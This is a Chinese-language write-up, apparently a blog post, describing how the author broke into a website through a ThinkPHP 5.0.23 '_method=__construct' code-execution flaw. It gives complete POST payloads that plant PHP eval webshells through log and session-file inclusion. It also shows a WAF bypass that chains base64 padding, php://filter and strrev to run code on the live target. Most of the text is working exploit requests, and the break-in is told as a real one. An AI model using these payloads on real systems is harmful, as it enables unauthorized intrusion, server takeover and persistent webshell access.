记⼀次有趣的thinkphp代码执⾏
0x00 前⾔
朋友之前给了个站,拿了很久终于拿下,简单记录⼀下。
0x01 基础信息
漏洞点:tp 5 method 代码执⾏,payload如下
POST /?s=captcha
_method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
⽆回显,根据payload 成功判断⽬标thinkphp 版本应为5.0.23
有waf,waf拦截了以下内容
php标记:
<?php
<?=
<?
php 函数:
base64_decode
file_get_contents
convert_uuencode
关键字:
php://
linux
php如何运行代码
disable_function禁⽤了以下函数
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server php 7.1.7 (虽然assert函数不在disable_function中,但已经⽆法⽤call_user_func回调调⽤)
0x02 突破
现在tp 5 method代码执⾏开发出来的⼀些思路,不外乎如下两种:
1,写⽇志,包含⽇志 getshell 。payload如下:
写shell进⽇志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
通过⽇志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
2,写session,包含session getshell。payload如下:
写shell进session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
包含session getshell
POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1
⽽这两种⽅式在这⾥都不可⽤,因为waf对<?php等关键字进⾏了拦截,还有其他办法吗?
base64编码与php://filter伪协议
倘若能够对关键字进⾏变形或者编码就好了,⽐如base64编码:
假如我们的session ⽂件为/tmp/sess_kking,内容如下
PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+
<?php @eval($_GET['r']);;?>
因为最终的利⽤是通过inlcude⽅法进⾏包含,其实很容易想到可以利⽤php://filter/read=convert.base64-decode/resource=/tmp/sess_kking的⽅式进⾏解码
最终执⾏类似如下:
include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');
但是session⾥⾯是会有其他字符的
如何让php://filter正确的解码呢?
p神的⽂章有谈到如何巧妙⽤php://filter与base64编码绕过死亡exit
那么这⾥也⼀样,我们只要构造合适的字符,使得我们的webshell能够正确被base64解码即可。
本地测试
第⼀步,设置session
POST /?s=captcha
_method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
(注意:这⾥的+号需要⽤urlencode编码为%2b,不然会在写⼊session的时候被urldecode为空格,导致编码解码失败)。
疑问点1:为什么不⽤PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= (<?php @eval($_GET['r']);?>)⽽是PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ (<?php
@eval($_GET['r']);;?>)呢,
答:是因为直接使⽤前者⽆论怎么拼凑字符,都没法正常解码。
疑问点2:为什么payload前后会有两个ab?
答:是为了让shell payload的前后两串字符串满⾜base64解码的长度,使其能正常解码。
第⼆步,包含,成功执⾏代码:
本地测试如此,但是在⽬标测试会发现执⾏不了,因为我们的payload使⽤了php://filter的协议包含了php://关键字
怎么让才能让其没有关键字呢?
tp 5 method代码执⾏的细节
让我们仔细观察代码执⾏的Request.php的filterValue⽅法是如何执⾏代码的。
我们注意到filter其实是可以传递多个的,同时参数为参数引⽤。
那么其实我们就可以传递多个filter来对value进⾏多次传递处理。如先base64_decode后将解码后的值传递给include进⾏包含。
但在线上这个waf是对base64_decode这个函数进⾏了过滤的,经过测试发现可以使⽤strrev反转函数突破。考虑到waf的问题,我们使⽤的shell payload加多⼀层base64编码。
同样道理这⾥的payload为什么要多⼏个分号就不需要再解释了
回到我们的getshell步骤,在⽬标上执⾏
1,设置session:
POST /?s=captcha
Cookie: PHPSESSID=kktest
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
(payload前后两个ab同样是为了base64解码凑字符的原因)
2,⽂件包含
POST /?s=captcha&r=cGhwaW5mbygpOw==
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=vnoc=daer/retlif//:php
最终成功绕过防⽕墙getshell。
0x03 总结
总的来说挺有趣的,搞了很久,最终成功getshell也是⾮常的爽。(好在没放弃:)
不妥之处,烦请指出~

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。